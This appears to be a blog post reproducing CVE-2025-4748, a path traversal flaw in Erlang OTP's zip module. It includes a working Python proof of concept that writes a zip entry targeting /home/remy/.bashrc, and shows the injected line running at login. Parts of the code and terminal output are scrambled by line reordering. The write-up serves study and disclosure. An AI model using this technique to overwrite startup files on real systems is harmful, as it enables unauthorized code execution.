There’s a new Erlang OTP vulnerability, CVE-2025-4748. It’s an Absolute Path Traversal vulnerability involving a Zip archive, which I have a lot of practice with. It affects Erlang OTP, which a coworker has already written about recently and noted the necessary steps to set up an environment.
This is a “local” vulnerability (unless you’re unpacking a Zip archive as part of a network call), but is still fun to play with. Here’s how to reproduce:
Setup
Similarly to the prior work of my coworker, set up an Ubuntu Jammy virtual machine and install erlang.
wget https://binaries2.erlang-solutions.com/ubuntu/pool/contrib/e/esl-erlang/esl-erlang_25.3.2-1~ubuntu~jammy_amd64.deb
sudo dpkg -i esl-erlang_25.3.2-1\~ubuntu\~jammy_amd64.deb
sudo apt --fix-broken install
Valid Test Case
Create a valid zip file to check the expected behavior.
touch emptyfile
zip valid.zip emptyfile
In the Erlang shell unzip the valid.zip
to a destination directory of /tmp/
~$ erl
/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:4:4] [ds:4:4:10] [async-threads:1] [jit:ns]
Erlang
.2.2 (abort with ^G)
Eshell V131> {ok, FileList} = zip:unzip("valid.zip", [{cwd, "/tmp/"}]).
{ok,["/tmp/emptyfile"]}
And we see that as expected, emptyfile
was written to the destination directory as /tmp/emptyfile
PoC
From the CVE notes:
When the zip module is used to extract files to disk and the archive is maliciously corrupted by including absolute file paths, the zip module would extract them as absolute paths instead of stripping the leading /, drive or device letter.
So this should be pretty easy, we’ll use python script to create a Zip archive with an absolute path of /home/remy/.bashrc
and insert some code to demonstrate how we can leverage this vulnerability to overwrite a file leading to remote code execution, by printing Code exec via CVE-2025-4748
.
import io
import zipfile
= io.BytesIO()
buf = zipfile.ZipFile(buf, "w")
zf "/home/remy/.bashrc", "echo 'Code exec via CVE-2025-4748'\n")
zf.writestr(
zf.close()
with open("poc.zip", "wb") as f:
f.write(buf.getvalue())
Again, we’ll use the erlang shell to decompress our poc.zip
to a destination directory of /tmp/
, but the vulnerability should instead clobber /home/remy/.bashrc
.
~$ erl
/OTP 25 [erts-13.2.2] [source] [64-bit] [smp:4:4] [ds:4:4:10] [async-threads:1] [jit:ns]
Erlang
.2.2 (abort with ^G)
Eshell V131> {ok, FileList} = zip:unzip("poc.zip", [{cwd, "/tmp/"}]).
{ok,["/home/remy/.bashrc"]}
And yup, that worked.
So next time the user remy
logs in, the inserted code will execute with their ~/.bashrc
is read.
22.04.5 LTS (GNU/Linux 5.15.0-141-generic x86_64)
Welcome to Ubuntu
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that aredo not log into.
not required on a system that users
, you can run the 'unminimize' command.
To restore this content'24.04.2 LTS' available.
New release 'do-release-upgrade' to upgrade to it.
Run
: Tue Jun 17 15:28:17 2025 from 192.168.8.245
Last login-2025-4748
Code exec via CVE:~$ remy@erlang